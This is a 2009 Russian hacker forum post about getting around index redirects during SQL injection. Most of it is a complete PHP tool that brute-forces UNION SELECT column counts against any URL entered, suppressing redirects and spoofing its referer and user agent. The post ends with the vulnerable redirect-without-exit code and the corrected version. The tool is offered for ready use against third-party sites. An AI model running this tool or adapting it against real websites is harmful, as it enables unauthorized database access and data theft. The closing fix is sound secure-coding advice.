Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Переадресация на Index.php при SQL INJ |

18.02.2009, 06:23
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Переадресация на Index.php при SQL INJ
Многие сталкивались с ситуацией когда при SQL инъекции, была переадресация на Index страницу. Решил провести маленький эксперемент, попробывать получать страницу с ответом, без каких либо переадресаций, написал маленький РНР скриптик на скорую руку на cURL'e, т.к. там есть возможность, использовать опцию, да и вообще кУРЛ быстрый и очень удобный инструмент:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
описание:
CURLOPT_FOLLOWLOCATION: При установке этого параметра в ненулевое значение, при получении HTTP заголовка "Location: " будет происходить перенаправление на указанный этим заголовком URL (это действие выполняется рекурсивно, для каждого полученного заголовка "Location:").
Собсно результат был успешным, скрин:
http://i073.radikal.ru/0902/ab/f85a1ef62a4f.png
сам скриптик:
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>SQLINJ tool</title>
<style type="text/css">
<!--
body {
background-color: #666633;
}
.style1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #999966;
cursor: crosshair;
border-top-style: dotted;
border-right-style: dotted;
border-bottom-style: dotted;
border-left-style: dotted;
}
.style2 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #F4F4F4;
font-size: 12px;
}
.input {
background-color: #666633;
}
a:link {
color: #DDDDDD;
text-decoration: none;
}
a:visited {
color: #DDDDDD;
text-decoration: none;
}
a:hover {
text-decoration: none;
color: #CCCC33;
}
a:active {
text-decoration: none;
color: #FFFF33;
}
body,td,th {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
}
-->
</style>
</head>
<body>
<div align="center">
<h1 class="style1">SQLINJ Tool</h1>
<p> </p>
<table width="580" border="1" align="center">
<form id="form1" name="form1" method="post" action="">
<tr>
<td width="54" align="center">URL:</td>
<td width="510"><input name="url" type="text" class="input" size="85" /></td>
</tr>
<tr>
<td align="center">Columns:</td>
<td><input name="count_columns" type="text" class="input" size="85" /></td>
</tr>
<tr>
<td colspan="2" align="center"><input name="button" type="submit" class="input" value="go brute" /></td>
</tr>
</form>
</table>
<br />
<?php
set_time_limit(0);
if(!isset($_POST['url'],$_POST['count_columns']))
{
exit;
}
$url = trim($_POST['url']);
$count_columns = trim($_POST['count_columns']);
$ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$sql = "+UNION+SELECT+0x53714C694E6A5F31";
$work_url = $url.$sql;
$work_url_dig = $url."+UNION+SELECT+1";
$ref = "http://www.rambler.ru/search.php?reklama";
for ($i=2;$i<$count_columns + 2;$i++)
{
$ch = curl_init($work_url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
$res = curl_exec($ch);
if(preg_match('#SqLiNj\_[0-9]{1,3}#i', $res, $matches))
{
echo '<table width="50%" border="1" align="center"><tr><td>Результат:</td></tr><tr><td>';
echo "Найдено соответсвие: ".$matches[0]."<br>";
echo "Хэкс эквивалент колонок :<br>".$work_url."<br>";
echo "Числовой эквивалент колонок :<br>".$work_url_dig."<br>";
$count_dig = explode("_",$matches[0]);
echo "Принтабельная колонка - <b>".$count_dig[1]."</b>";
break;
echo '</td></tr></table>';
}
$work_url .= ",0x".bin2hex("SqLiNj_$i");
$work_url_dig .= ",$i";
}
?>
</body>
</html>
Причиной тому является быдлокодинг разработчиков скрипта, работающий по системе - если переменная (к примеру id=1) равна не целочисленомму значению (if(!is_numeric($id))), идет редирект на Индекс (header("Location: http://www.example.com/"); )
Уязвимая часть кода выглядит так:
PHP код:
<?php
$id = $_GET['id'];
if(!is_numeric($id))
header("Location: http://www.example.com/");
# Остальная часть скрипта...
?>
Правильнее дописать остановку выполнения остальной части коды/скрипта после условия:
PHP код:
<?php
$id = $_GET['id'];
if(!is_numeric($id))
{
header("Location: http://www.example.com/");
exit;
}
# Остальная часть скрипта не грузится...
?>
Последний раз редактировалось b3; 26.02.2009 в 06:39..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|